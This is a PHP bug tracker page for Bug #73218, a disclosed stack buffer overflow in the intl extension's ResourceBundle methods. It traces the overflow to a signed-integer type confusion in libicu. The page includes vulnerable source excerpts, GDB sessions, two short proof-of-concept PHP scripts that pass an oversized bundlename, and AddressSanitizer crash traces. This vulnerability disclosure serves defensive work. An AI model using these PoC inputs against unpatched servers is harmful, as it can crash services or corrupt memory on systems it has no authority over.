PHP :: Bug #73218 :: stack-buffer-overflow through "ResourceBundle" methods
| Bug #73218 | stack-buffer-overflow through "ResourceBundle" methods | ||||
|---|---|---|---|---|---|
| Submitted: | 2016-10-01 17:56 UTC | Modified: | 2017-02-13 01:11 UTC | ||
| From: | fernando at null-life dot com | Assigned: | stas (profile) | ||
| Status: | Closed | Package: | intl (PECL) | ||
| PHP Version: | 5.6.26 | OS: | * | ||
| Private report: | No | CVE-ID: | None | ||
[2016-10-01 17:56 UTC] fernando at null-life dot com
Description: ------------ ResourceBundle::create and ResourceBundle::getLocales methods (and their respective functions) are vulnerables to stack buffer overflow when bundlename parameter length is equal or close to 0x7fffffff, due to a type confusion in CharString::ensureCapacity at libicu. PHP could mitigate this issue by checking that the bundlename parameter is not bigger than PHP_MAXPATHLEN constant before calling libicu. ---------- Source code: https://github.com/php/php-src/blob/master/ext/intl/resourcebundle/resourcebundle_class.c#L316 PHP_FUNCTION( resourcebundle_locales ) { char * bundlename; size_t bundlename_len = 0; const char * entry; int entry_len; UEnumeration *icuenum; UErrorCode icuerror = U_ZERO_ERROR; intl_errors_reset( NULL ); if( zend_parse_parameters(ZEND_NUM_ARGS(), "s", &bundlename, &bundlename_len ) == FAILURE ) { intl_error_set(NULL, U_ILLEGAL_ARGUMENT_ERROR, "resourcebundle_locales: unable to parse input params", 0); RETURN_FALSE; } if(bundlename_len == 0) { // fetch default locales list bundlename = NULL; } icuenum = ures_openAvailableLocales( bundlename, &icuerror ); // bundlename size too long INTL_CHECK_STATUS(icuerror, "Cannot fetch locales list"); uenum_reset( icuenum, &icuerror ); INTL_CHECK_STATUS(icuerror, "Cannot iterate locales list"); array_init( return_value ); while ((entry = uenum_next( icuenum, &entry_len, &icuerror ))) { add_next_index_stringl( return_value, (char *) entry, entry_len); } uenum_close( icuenum ); } ... https://github.com/php/php-src/blob/master/ext/intl/resourcebundle/resourcebundle_class.c#L76 static int resourcebundle_ctor(INTERNAL_FUNCTION_PARAMETERS, zend_bool is_constructor) { const char *bundlename; size_t bundlename_len = 0; const char *locale; size_t locale_len = 0; zend_bool fallback = 1; int zpp_flags = is_constructor ? ZEND_PARSE_PARAMS_THROW : 0; zval *object = return_value; ResourceBundle_object *rb = Z_INTL_RESOURCEBUNDLE_P( object ); intl_error_reset( NULL ); if( zend_parse_parameters_ex( zpp_flags, ZEND_NUM_ARGS(), "s!s!|b", &locale, &locale_len, &bundlename, &bundlename_len, &fallback ) == FAILURE ) { intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, "resourcebundle_ctor: unable to parse input parameters", 0 ); return FAILURE; } INTL_CHECK_LOCALE_LEN_OR_FAILURE(locale_len); if (locale == NULL) { locale = intl_locale_get_default(); } if (fallback) { rb->me = ures_open(bundlename, locale, &INTL_DATA_ERROR_CODE(rb)); // bundlename size too big } else { rb->me = ures_openDirect(bundlename, locale, &INTL_DATA_ERROR_CODE(rb)); } ... GDB output: LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php No symbol table is loaded. Use the "file" command. Breakpoint 1 (__asan_report_error) pending. Reading symbols from /home/operac/build4/bin/php...done. gdb-peda$ b charstr.cpp:87 No source file named charstr.cpp. Breakpoint 2 (charstr.cpp:87) pending. gdb-peda$ b charstr.cpp:135 No source file named charstr.cpp. Breakpoint 3 (charstr.cpp:135) pending. gdb-peda$ r Starting program: /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php ... Breakpoint 3, icu::CharString::ensureCapacity (this=0x7fffffff9598, capacity=0x80000000, desiredCapacityHint=0x0, errorCode=@0x7fffffff9e90: U_ZERO_ERROR) at charstr.cpp:135 135 if(capacity>buffer.getCapacity()) { gdb-peda$ p/d capacity $1 = -2147483648 gdb-peda$ p/d buffer.getCapacity() $2 = 40 gdb-peda$ p capacity>buffer.getCapacity() $3 = 0x0 // !! false gdb-peda$ c Continuing. ... Breakpoint 2, icu::CharString::append (this=0x7fffffff9598, s=0x7ffeec3f9800 '/' <repeats 200 times>..., sLength=0x7fffffff, errorCode=@0x7fffffff9e90: U_ZERO_ERROR) at charstr.cpp:87 87 uprv_memcpy(buffer.getAlias()+len, s, sLength); gdb-peda$ p sLength $4 = 0x7fffffff // !! buffer overflow Test script: --------------- poc.php: <?php ini_set('memory_limit', -1); $v1="hi"; $v2=str_repeat("/", 0xffffffff/2); resourcebundle_create($v1,$v2); ------------------------------------------------ poc2.php: <?php ini_set('memory_limit', -1); $v1=str_repeat("a", 0xffffffff/2); ResourceBundle::getLocales($v1); Expected result: ---------------- No crash Actual result: -------------- ASan outputs: LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php: ==26416==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcdb544ba0 at pc 0x7f2017fbf904 bp 0x7ffcdb544830 sp 0x7ffcdb543fd8 WRITE of size 2147483647 at 0x7ffcdb544ba0 thread T0 #0 0x7f2017fbf903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903) #1 0x7f200f3cf299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87 #2 0x7f200f3d179e in icu::UDataPathIterator::UDataPathIterator(char const*, char const*, char const*, char const*, signed char, UErrorCode*) /home/operac/release-58-rc/source/common/udata.cpp:465 #3 0x7f200f3d317b in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:973 #4 0x7f200f3d43d9 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1298 #5 0x7f200f3d4b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385 #6 0x7f200f48f3d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265 #7 0x7f200f47f544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368 #8 0x7f200f4801cd in findFirstExisting /home/operac/release-58-rc/source/common/uresbund.cpp:461 #9 0x7f200f481350 in entryOpen /home/operac/release-58-rc/source/common/uresbund.cpp:643 #10 0x7f200f48a833 in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2212 #11 0x7f200f48adad in ures_open /home/operac/release-58-rc/source/common/uresbund.cpp:2253 #12 0x7f2010216944 in resourcebundle_ctor /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:105 #13 0x7f2010216944 in zif_resourcebundle_create /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:162 #14 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586 #15 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414 #16 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458 #17 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427 #18 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494 #19 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974 #20 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344 #21 0x7f2015a1882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #22 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8) Address 0x7ffcdb544ba0 is located in stack of thread T0 at offset 368 in frame #0 0x7f200f3d304a in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:966 This frame has 2 object(s): [32, 88) 'dataMemory' [128, 368) 'iter' <== Memory access at offset 368 overflows this variable ... LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc2.php ==14531==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe47326a20 at pc 0x7f5ac4990904 bp 0x7ffe473266e0 sp 0x7ffe47325e88 WRITE of size 2147483647 at 0x7ffe47326a20 thread T0 #0 0x7f5ac4990903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903) #1 0x7f5abbda0299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87 #2 0x7f5abbd9c993 in icu::CharString::append(icu::StringPiece, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.h:82 #3 0x7f5abbda4d8b in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1210 #4 0x7f5abbda5b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385 #5 0x7f5abbe603d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265 #6 0x7f5abbe50544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368 #7 0x7f5abbe52cff in entryOpenDirect /home/operac/release-58-rc/source/common/uresbund.cpp:745 #8 0x7f5abbe5b85c in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2214 #9 0x7f5abbe5be1b in ures_openDirect /home/operac/release-58-rc/source/common/uresbund.cpp:2267 #10 0x7f5abbe5c927 in ures_openAvailableLocales /home/operac/release-58-rc/source/common/uresbund.cpp:2475 #11 0x7f5abcbe4614 in zif_resourcebundle_locales /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:339 #12 0x1d74293 in ZEND_DO_FCALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:842 #13 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414 #14 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458 #15 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427 #16 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494 #17 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974 #18 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344 #19 0x7f5ac23e982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #20 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8) Address 0x7ffe47326a20 is located in stack of thread T0 at offset 352 in frame #0 0x7f5abbda4901 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1128 This frame has 5 object(s): [32, 36) 'subErrorCode' [96, 160) 'tocEntryName' [192, 256) 'tocEntryPath' [288, 352) 'pkgName' [384, 448) 'treeName' <== Memory access at offset 352 partially underflows this variable ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- Esto para libicu: Type confusion at CharString::ensureCapacity CharString::ensureCapacity is vulnerable to type confusion, which may cause finally stack buffer overflow. We think that "capacity" parameter should be defined as unsigned or size_t. Source code: release-58-rc/source/common/charstr.cpp:87 UBool CharString::ensureCapacity(int32_t capacity, int32_t desiredCapacityHint, UErrorCode &errorCode) { if(U_FAILURE(errorCode)) { return FALSE; } if(capacity>buffer.getCapacity()) { // When capacity is negative, this validation return false if(desiredCapacityHint==0) { desiredCapacityHint=capacity+buffer.getCapacity(); } if( (desiredCapacityHint<=capacity || buffer.resize(desiredCapacityHint, len+1)==NULL) && buffer.resize(capacity, len+1)==NULL ) { errorCode=U_MEMORY_ALLOCATION_ERROR; return FALSE; } } return TRUE; } PoC through PHP bindings (currently we have reported to PHP too, because they can also mitigate the problem) <?php ini_set('memory_limit', -1); $v1="hi"; $v2=str_repeat("/", 0xffffffff/2); resourcebundle_create($v1,$v2); ASan output: ==7366==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe88c3b660 at pc 0x7fa076c0d904 bp 0x7ffe88c3b2f0 sp 0x7ffe88c3aa98 WRITE of size 2147483647 at 0x7ffe88c3b660 thread T0 #0 0x7fa076c0d903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903) #1 0x7fa06e01d299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87 #2 0x7fa06e01f79e in icu::UDataPathIterator::UDataPathIterator(char const*, char const*, char const*, char const*, signed char, UErrorCode*) /home/operac/release-58-rc/source/common/udata.cpp:465 #3 0x7fa06e02117b in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:973 #4 0x7fa06e0223d9 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1298 #5 0x7fa06e022b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385 #6 0x7fa06e0dd3d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265 #7 0x7fa06e0cd544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368 #8 0x7fa06e0ce1cd in findFirstExisting /home/operac/release-58-rc/source/common/uresbund.cpp:461 #9 0x7fa06e0cf350 in entryOpen /home/operac/release-58-rc/source/common/uresbund.cpp:643 #10 0x7fa06e0d8833 in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2212 #11 0x7fa06e0d8dad in ures_open /home/operac/release-58-rc/source/common/uresbund.cpp:2253 #12 0x7fa06ee64944 in resourcebundle_ctor /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:105 #13 0x7fa06ee64944 in zif_resourcebundle_create /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:162 #14 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586 #15 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414 #16 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458 #17 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427 #18 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494 #19 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974 #20 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344 #21 0x7fa07466682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #22 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8) Address 0x7ffe88c3b660 is located in stack of thread T0 at offset 368 in frame #0 0x7fa06e02104a in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:966 This frame has 2 object(s): [32, 88) 'dataMemory' [128, 368) 'iter' <== Memory access at offset 368 overflows this variable
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commits
[2016-10-05 05:41 UTC] stas@php.net
-PHP Version: 7.0.11 +PHP Version: 5.6.26 -Assigned To: +Assigned To: stas
[2016-10-11 23:49 UTC] stas@php.net
-Status: Assigned +Status: Closed
[2016-11-18 15:45 UTC] emmanuel dot law at gmail dot com
[2017-02-13 01:11 UTC] stas@php.net
-Type: Security +Type: Bug